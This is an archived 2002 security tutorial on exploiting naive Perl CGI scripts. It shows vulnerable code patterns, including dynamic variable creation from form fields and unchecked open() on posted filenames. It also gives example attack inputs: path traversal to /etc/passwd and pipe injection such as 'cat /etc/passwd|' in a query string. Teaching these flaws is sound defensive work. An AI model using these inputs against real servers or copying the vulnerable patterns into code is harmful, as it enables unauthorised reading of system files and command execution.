Visit our newest sister site!
Hundreds of free aircraft flight manuals
Civilian • Historical • Military • Declassified • FREE!


TUCoPS :: Web :: Apps :: simpcgi.txt

Simple CGI Exploiting




Subject: simple cgi exploiting
Date: Fri, 30 Aug 2002 00:19:44 +0100

What follows is a simple HTML page that creates a form and sends the data to
a CGI program:

<html>
<head>
<title>Bad Assumptions: Example 1</title>
</head>
<body>
Bad Assumptions: Example 1
<form action="/cgi-bin/example1.cgi">
Name: <input type="text" name="name">
<br>
Phone: <input type="text" name="phone">
<br>
<input type="submit">
</form>
</body>
</html>

If the author of the CGI program assumes the only data she will recieve are
name and phone, she could be mistaken. It would be very easy for a hacker to
execute the CGI program using different or additional feilds. The hacker has
a choice of methods:

..Run the CGI program with the GET method by typing the appropriate
name/value pairs into the location bar in the browser:
eg.
http://localhost/cgi-bin/example1.cgi?name=john&phone=123456&data=bad+data
Notice the program is passed a value for name, phone and data even though
data is not in the feild in the HTML form.

..Run the CGI program by making a telnet connection from a shell:
Machine1$ telnet localhost 80
Trying 127.0.0.1....
Connected to localhost.
Escape character is '^]'.
Get /cgi-bin/example1.cgi?name=john&phone=123456&data=bad+data HTTP/1.0

..Use a standalone program to make a post connection:
#!/usr/bin/perl -w

use HTTP::Request::Common qw(POST);
use LWP::UserAgent;

$ua = LWP::UserAgent->new();
my $req = POST 'http://localhost/cgi-bin/example1.cgi',
[ name => 'john', phone => '312.555.1212', data => 'bad data' ];
$content = $ua->request($req)->as_string;
print $content;

These three methods can be used to abuse the assumptions in the expected
fields. Here is an example that creates variables based on the name of the
field: the field name willl be stored in the variable $name; the field phone
will be stored in the variable $phone:

@params = $query->param();
foreach $param (@params) {
${param} = $query->param($param);

With this code the hacker can create any variable he wants simply by
including this in the query string sent to the server:
http://www.example.com/cgi-bin/example.cgi?new_var=test

Consider what would happen if the program that contains the perl code had a
variable named $SEND_MAIL that included the location of sendmail (usually
/usr/lib/sendmail). To use a different program to send mail (or worse), a
hacker could simply use this query string:
http://www.example.com/cgi-bin/example.cgi?SEND_MAIL=program

Exploiting trust in filename characters
Hackers can easily put nasty things in file names, allowing all sorts of
nasty problems. For instance, lets say that a form has a hidden field:

<input type="hidden" name="filename" value="file1">

The CGI program opens this file as follows:

$filename = '/path/to/files/' . $postedfilename;
open FH, $filename;

A clever hacker can post a file name of '../../../etc/passwd'. This filename
would transverse the directory tree from /path/to/file and locate the file
/etc/passwd. If a hacker obtains a copy of this file he will have a list of
all the users and their passwords (if they are not shadowed) on the machine
including ROOT.
Or the hacker can post a file name such as '../../../bin/cat/etc/passwd|'.
This string executes perl code that opens a pipe to the operating system,
which would effectively display the contents of the passwd file by printing
it to the screen.
Another common hack is to input a string that will open a pipe to the
operating system instead of to a file on disk. For example if a hacker
invokes this program:

open FH, "$postedfilename" or die $!;
while (<FH> ) {
# process and then print file
}

with the URL
http://www.example.com/cgi-bin/example.cgi?file=cat+%2Fetc%2Fpasswd%7C the
value of the $postedfilename would be cat /etc/passwd|. Therefore the
resulting open() would be this:

open FH, "cat /etc/passwd|";

This ends up displaying /etc/passwd to the hacker.


Thats it for now






TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2014 AOH